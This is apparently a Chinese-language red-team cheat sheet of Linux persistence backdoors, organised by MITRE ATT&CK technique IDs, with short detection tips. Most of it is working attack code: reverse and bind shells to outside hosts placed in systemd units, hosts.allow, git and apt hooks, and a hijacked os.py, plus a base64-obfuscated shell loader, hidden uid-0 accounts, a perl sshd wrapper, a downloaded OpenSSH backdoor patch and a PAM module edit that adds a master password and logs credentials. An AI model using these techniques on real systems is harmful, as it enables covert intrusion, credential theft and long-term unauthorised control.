ATT&CK TTP Persistence
- Account Manipulation 用户操纵 T1098
- Boot or Logon Autostart Execution 启动或登录自动执行 T1547
- Boot or Logon Initialization Scripts 启动或登录初始化脚本 T1037
- Create Account 创建用户 T1136
- Create or Modify System Process 创建或修改系统进程 T1543
- Event Triggered Execution 事件触发执行 T1546
- Hijack Execution Flow 劫持执行流程 T1574
- Modify Authentication Process 修改身份验证过程 T1556
- 替换nologin
- Pre-OS Boot T1542
- Scheduled Task/Job T1053
- Server Software Component T1505
- Apache T1505
- Transport Agent T1505.002
- Traffic Signaling 流量信号 T1205
- Valid Accounts T1078
- Reference
收集的一些ATT&CK的持久化TTP
Account Manipulation 用户操纵 T1098
SSH Authorized Keys SSH授权密钥 T1098.004
ssh-keygen -t rsa
把id_rsa.pub写入服务端的authorized_keys中
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
排查:直接检测 ~/.ssh/authorized_keys
Boot or Logon Autostart Execution 启动或登录自动执行 T1547
Kernel Modules and Extensions 内核模块和扩展 T1547.006
可装载内核模块(LKM) Loadable Kernel Modules
动态的加载,不需要重新编译内核。
截获系统调用,具有隐藏目录、文件、进 程、网络连接等强大功能。
自身隐蔽性好,发现难度较大。
著名的LKM包有adore和knark。
HiddenWall
排查:查看内核模块列表
XDG Autostart Entries T1547.013
Boot or Logon Initialization Scripts 启动或登录初始化脚本 T1037
RC script T1037.004
利用/etc/rc.local, rc.common 使系统启动时即运行脚本。
有些unix系统已经弃用RC脚本 用systemd来代替。
排查:查看RC文件内容
Create Account 创建用户 T1136
Local Account 添加本地账户 T1136.001
echo "hacker:x:0:0::/:/bin/sh" >> /etc/passwd
#如果系统不允许uid=0的用户远程登录,可以增加一个普通用户账号
echo "hacker::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
#无交互添加密码
useradd seradd -u 0 -o -g root -G roo1
echo "123456" | passwd --stdin roo1 #有些环境中并不能成功
echo "roo1:password" |chpasswd
echo "123456n123456" |(sudo passwd roo1)
/usr/sbin/useradd -u 0 -o -g root -G root -d /home/hacker hacker -p $1$F1B0hFxb$NkzreGE7srRJ**/
添加不成功可能是因为做了密码强度限制 需要提高密码强度
排查:查看/etc/passwd
Create or Modify System Process 创建或修改系统进程 T1543
Systemd Service T1543.002
cd /usr/lib/systemd/system
touch backdoor.service
vi backdoor.service #编辑文件,加入下面的内容
[Unit]
Description=Very important backdoor.
After=network.target
[Service]
Type=forking
ExecStart=nc -e /bin/bash 192.168.242.1 5555 >/dev/null 2>&1
ExecReload=
ExecStop=
PrivateTmp=true
[Install]
WantedBy=multi-user.target
chmod +x /usr/lib/systemd/system/backdoor.service
systemctl daemon-reload
systemctl enable backdoor
systemctl start backdoor
服务启动或重启时执行触发
排查:查看 /usr/lib/systemd/system 下有无异常文件以及有无异常service
Event Triggered Execution 事件触发执行 T1546
对手可以使用基于特定事件触发执行的系统机制来建立持久性和或提权。各种操作系统具有监视和订阅诸如登录或其他用户活动之类的事件,例如运行特定的应用程序/二进制文件。
对手可能会滥用这些机制作为通过反复执行恶意代码维护对受害者持久访问的手段。获得对受害者系统的访问后,对手可以创建/修改事件触发,以指向在调用事件触发器时将执行的恶意内容。
由于执行可以由具有较高权限的帐户代理,例如系统或服务帐户,因此对手可能能够滥用这些触发的执行机制以升级其特权。
Unix Shell Configuration Modification UNIX Shell 设置修改 T1546.004
直接将反弹shell指令写入 bashrc /etc/profile, /etc/zshenv, /etc/zprofile /etc/zlogin等unix shell设置文件
shell启动时会执行
排查:查看所有shell配置文件
PROMPT_COMMAND
bash提供了一个环境变量PROMPT_COMMAND,这个变量会在你执行命令前执行一遍。
export PROMPT_COMMAND="lsof -i:1025 &>/dev/null || (python -c "exec('aW1wb3J0IHNvY2tldCxvcyxzeXMKcz1zb2NrZXQuc29ja2V0KCkKcy5iaW5kKCgiIiwxMDI1KSkKcy5saXN0ZW4oMSkKKGMsYSk9cy5hY2NlcHQoKQp3aGlsZSAxOgogZD1jLnJlY3YoNTEyKQogaWYgJ2V4aXQnIGluIGQ6CiAgcy5jbG9zZSgpCiAgc3lzLmV4aXQoMCkKIHI9b3MucG9wZW4oZCkucmVhZCgpCiBjLnNlbmQocikK'.decode('base64'))" 2>/dev/null &)"
import socket,os,sys
s=socket.socket()
s.bind(("",1025))
s.listen(1)
(c,a)=s.accept()
while 1:
d=c.recv(512)
if 'exit' in d:
s.close()
sys.exit(0)
r=os.popen(d).read()
c.send(r)
Trap T1546.005
可以使用它来注册要在shell遇到特定中断时要执行的代码
trap "nc 127.0.0.1 4444 -e /bin/bash &" ERR EXIT
每当产生ERR 或 EXIT 中断就会执行
排查:trap -p
查看列表
Wrapper
Simple linux backdoors and hiding techniques
touch /usr/local/bin/uname #创建后门脚本文件
vi /usr/local/bin/uname #编辑文件,加入下面的内容
#!/bin/bash
nc -l -v -p 4444 -e /bin/bash 2>/dev/null &
/bin/uname $@
当用户执行对应命令时触发
排查:检查环境变量中的文件夹中是否存在这种含有其他同名二进制文件的脚本
SSH wrapper
init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
#如果当前文件句柄STDIN是一个socket,且socket的远程连接源端口是13377(4A是Big 网络字节序的Ascii表示形式),则执行/bin/sh,并结束当前程序运行,相当于反弹一个root shell (sshd是root权限运行的)
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
#启动sshd (/usr/bin/sshd是真正的sshd)服务 ,凡是传递给/usr/sbin/sshd (后门)的参数都传递给真正的sshd
chmod u+x sshd
/etc/init.d/sshd restart
连接: socat STDIO TCP4:target_ip:22,sourceport=13377
将输入输出重定向至于socket target_ip (这样后门perl脚本中STDIN就是socket了), 且这个socket的源端口为13377
TCP WRAPPER
echo 'ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/192.168.10.1/37789 0>&1") & :allow' > /etc/hosts.allow
连接目标机器任意端口即可触发回连
inetd
vi /etc/inetd.conf
daytime stream tcp nowait root /bin/sh sh –i
用trojan程序替换in.telnetd、in.rexecd等 inted的服务程序重定向login程序
Git
echo "nc 127.0.0.1 4444 -e /bin/bash & " > .git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
commit时会触发
apt
echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor
执行apt update
时触发
Driver
echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null
没有实验
利用驱动相关操作触发
network
RSHELL="ncat $LMTHD $LHOST $LPORT -e \"/bin/bash -c id;/bin/bash\" 2>/dev/null"
sed -i -e "4i \$RSHELL" /etc/network/if-up.d/upstart
Python库劫持
可以在注入os.py的python库中增加一条命令
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
每次调用该库时都会执行这条命令
Vim
用于安装了vim且安装了python扩展(绝大部分默认安装)的linux系统,至于恶意脚本dir.py的内容可以是任何功能的后门。如使用python监听9999端口。
#enter the mal script directory 、execute the script and then remove the script
cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
stdout=talk, stderr=talk, shell=True)
优点:通过查看/proc/pid/cmdline查看不到具体执行了什么命令或恶意脚本。
缺点:仍可以看到有vim进程
排查:检测对应vim进程号虚拟目录的map文件是否有python字眼。
Hijack Execution Flow 劫持执行流程 T1574
Dynamic Linker Hijacking 动态链接器劫持 T1574.006
通过LD_PRELOAD=$PWD/*.so劫持函数
排查:通过strace命令去跟踪预加载的文件是否为/etc/ld.so.preload,以及文件中是否有异常的动态链接库。以及检查是否设置LD_PRELOAD环境变量等。注意:在进行应急响应的时候有可能系统命令被替换或者关键系统函数被劫持(例如通过预加载型动态链接库后门),导致系统命令执行不正常,这个时候可以下载busybox。下载编译好的对应平台版本的busybox,或者下载源码进行编译通过U盘拷贝到系统上,因为busybox是静态编译的,不依赖于系统的动态链接库,busybox的使用类似如下 busybox ls,busybox ps -a。
Modify Authentication Process 修改身份验证过程 T1556
替换nologin
将nologin程序替换为bash,很多时候应急人员查看passwd,发现账户对应的shell为nologin认为就是系统的账号且这个账号是不能远程登陆的或者是登陆之后没有shell的,可能就认为这个账号是安全的,所以我们就可以将nologin设置成bash,并且修改这个账号的密码,如系统自带的backup账号就是一个很好用账户。
排查:检查nologin是否被替换
重新编译openssh源码插入恶意代码
通过在通过在openssh源码中插入恶意代码重新编译并替换原有sshd文件。插入的恶意代码可以是将登录成功的用户密码发送到远程服务器或者记录到某个log文件中,隐蔽性较好。
排查:这种sshd后门一般可能会有一定的特征,可以通过strings sshd |egrep ‘\d{1,3}.\d{1,3}.’或者通过strace 查看是否有可疑的写文件操作。
给openssh打补丁插入恶意代码
ssh -V #查看当前版本
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz #下载后门补丁
patch < sshbd5.9p1.diff #patch后门
vim includes.h //修改后门密码,记录文件位置,
#define ILOG "/tmp/ilog" //记录登录到本机的用户名和密码
#define OLOG "/tmp/olog" //记录本机登录到远程的用户名和密码
#define SECRETPW "password" //你后门的密码
vim version.h //修改为当前OpenSSH的版本号
#define SSH_VERSION "OpenSSH_5.3"
#define SSH_PORTABLE "p1"
./configure --prefix=/usr \
--sysconfdir=/etc/ssh \
--with-pam \
--with-kerberos5 \
&& make && make install
Pluggable Authentication Modules 可插拔认证模块 T1556.003
修改PAM源码重新编译
可以简单理解为劫持系统的身份认证机制
首先判断当前安装的pam版本
下载解压对应版本的pam源码 http://www.linux-pam.org/library/
之后修改两处代码
vim Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c
pam_sm_authenicate()
函数处,添加FILE *fp
pam_sm_authenicate()
函数尾部
//add password "test"
if (strcmp(p,"test") == 0){
return PAM_SUCCESS;
}
//save password to /etc/pam.txt
if (retval == PAM_SUCCESS){
fp = fopen("/etc/pam.txt","a");
fprintf(fp,"%s->%s\n",name,p);
fclose(fp);
}
编译 ./configure && make
备份原有PAM模块 mv pam_unix.so pam_unix.so.bak
使用新编译的pam模块替换原有模块
cp modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/
完成后可使用添加的密码test登陆
当管理员登陆成功时
密码会被记录在/etc/pam.txt中
隐蔽性最佳,操作较为繁琐
SSH软链接
在sshd服务配置启用PAM认证的前提下,PAM配置文件中控制标志为sufficient时,只要pam_rootok模块检测uid为0(root)即可成功认证登录。 一是sshd服务启用PAM认证机制,在/etc/ssh/sshd_config文件中,设置UsePAM 为yes。如果不启用PAM,系统严格验证用户密码,不能建立后门。 二是在/etc/pam.d/目录下,对应文件里包含”auth sufficient pam_rootok.so”配置,只要PAM配置文件中包含此配置即可SSH任意密码登录。 ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337
重启失效
排查:使用netstat -antlp
查看可疑端口,然后ls -l
异常文件。
Pre-OS Boot T1542
Bootkit T1542.003
Scheduled Task/Job T1053
At (Linux) T1053.001
Cron T1053.003
有一种可以隐藏cronjobs的方法
可以创建一个cronjob在注释之后放一个\r
,Cronjob将正常工作。
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
排查:一般通过crontab -l命令即可检测到定时任务后门。不同的linux发行版可能查看开机启动项的文件不大相同,Debian系linux系统一般是通过查看/etc/init.d目录有无最近修改和异常的开机启动项。而Redhat系的linux系统一般是查看/etc/rc.d/init.d或者/etc/systemd/system等目录。直接查看文件比运行命令更稳妥。
Systemd Timers T1053.006
vim /etc/systemd/system/backdoor.timer
[Unit]
Description=Runs backdoor ever 3 mins
[Timer]
OnBootSec=5min
OnUnitActiveSec=3min
Unit=backdoor.service
[Install]
WantedBy=multi-user.target
#启动计时器
systemctl start backdoor.timer
#使该计时器开机自启
systemctl enable backdoor.timer
排查:/etc/systemd/system/ 下有无异常timer
Server Software Component T1505
Apache T1505
apache2_BackdoorMod
Apache-HTTP-Server-Module-Backdoor
从零开始打造一款简单的apache module后门
Transport Agent T1505.002
ruler - A tool to abuse Exchange services
PrivExchange - Exchange your privileges for Domain Admin privs by abusing Exchange
MailSniper - MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms
Web Shell T1505.003
tennc/webshell
ysrc/webshell-sample
xl7dev/WebShell
Traffic Signaling 流量信号 T1205
Port Knocking T1205.001
port knocking是指当你按照一个特定序列依次去访问一台服务器的某几个端口之后,服务器嗅探到了这系列操作,就执行一些操作,为访问者提供某些服务。比如一开始系统防火墙是不允许任何入流量的,当系统检测到有个ip按照顺序访问3331、3332、3333端口之后,系统就在防火墙里添加一条规则,允许该ip访问本机的22端口。这就跟敲门一样,knock knock knock(咚咚咚),然后门就开了。
嗅探的方法不一,可以监控防火墙日志,也可以在数据链路层直接抓包,这里也有大量的知识点可以学习。
这本来是一个安全防护手段,但入侵者也可以用来构建一个隐蔽的后门,一般情况下系统一切正常,只有实施入侵时会有异常,隐蔽性好。
port knocking工具的实现可参考:http://www.portknocking.org/view/implementations
Valid Accounts T1078
Default Accounts T1078.001
使用默认密码登录系统或服务
排查: 检查所有具有默认密码的应用配置文件
Domain Accounts T1078.002
Local Accounts T1078.003
使用本地合法用户登录
排查:对本地系统账户进行定期审计,以发现可能被对手创建的用于实现持久化的用户。寻找可疑的用户行为,例如用户在奇怪的时间或工作时间以外登录。
Reference
我所了解的渗透测试——Linux后门类型
Linux后门整理合集(脉搏推荐)
Linux后门种类图
利用Openssh后门 劫持root密码
Linux权限维持之进程注入
Linux权限维持之LD_PRELOAD
小白必看!ICMP隐蔽隧道从入门到精通
linux进程注入
Linux常见的持久化后门汇总
LINUX后门技术
sudoers的深入剖析与用户权限控制
linux常见backdoor及排查技术
Techniques for building a hidden backdoor
Linux系统后门初步研究
PayloadsAllTheThings/Linux - Persistence
ATT&CK-Persistence
PAM&PAM后门
Establishing Persistence with systemd.timers
Linux权限维持–隐藏篇